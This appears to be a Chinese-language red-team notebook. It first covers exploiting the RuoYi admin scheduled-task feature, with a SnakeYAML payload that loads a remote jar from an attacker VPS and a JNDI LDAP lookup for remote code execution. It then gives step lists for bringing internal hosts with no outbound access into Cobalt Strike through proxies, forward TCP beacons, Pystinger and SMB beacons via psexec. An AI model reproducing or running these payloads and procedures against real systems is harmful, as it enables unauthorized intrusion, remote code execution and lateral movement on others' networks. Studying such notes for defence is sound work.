随手记

一、曲折的命令执行回显

  1. 若依系统,进入后台后尝试使用常规方法加载jar包来注入内存马

    org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["<http://vps/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar>"]]]]')
    
  2. 执行定时任务后,系统成功访问到了放在vps上的jar包,尝试访问内存马,直接跳转回登录界面,内存马注入失败(之后f0ng师傅研究了一下,若依4.2版本的系统使用目前公开的内存马工具是无法成功注入的)。

  3. 内存马注入失败后就无法执行命令了?此时我想到了使用ldap协议,若依的后台定时任务是可以使用ldap协议来执行命令的

    javax.naming.InitialContext.lookup('ldap://vps')
    
  4. 启动jndi,成功接收到请求

  5. DNS回显

    1. 若依的定时任务漏洞无回显,尝试powershell、远程下载文件进行上线都无法成功,该漏洞似乎到此为止了。
    2. 获取DNS回显需要一个工具: https://github.com/A0WaQ4/HexDnsEchoT
    3. 利用该工具生成的以下命令,我成功的获取到了命令执行回显,获取到了目标机器的信息

二、【红蓝对抗】内网不出网机器上线CobaltStrike

  1. 目标机器和DMZ互通
    1. 上传goproxy到跳板机,开启http代理
    2. CobaltStrike新建监听器(goproxy1),设置HTTP Proxy为http://10.10.10.128:18080(跳板机)
    3. 生成stageless的木马,监听器选择刚生成的监听器 goproxy1
    4. 目标机器执行木马,可上线CS
  2. 正向木马上线CS
    1. CobaltStrike创建一个beacon_tcp监听器(Forword)

      Untitled

    2. CS生成一个stageless木马,监听器选再Forword

    3. 运行生成的木马,并在10.10.10.128 beacon中执行connect x.x.x.x 18888即可建立子beacon上线CS。

  3. Pystinger上线CS
    1. 下载pytinger,选择适当的代理脚本上传到目标服务器,直接访问出现UTF-8即为成功。
    2. 将stinger_server.exe上传到目标服务器并开启服务端等待客户端连接。
    3. vps客户端连接服务端
    4. CobaltStrike新建监听器(pytinger1),HTTP Host设置为目标机器IP,端口默认为60020
    5. 生成一个stage木马,监听器选择新建的pystinger1即可上线CS
  4. SMB Beacon
    1. CobaltStrike新建SMB Listener
    2. 建立IPC$空连接,并测试
    3. 使用Psexec获取SMB Beacon Shell jump psexec 10.10.10.136 SMB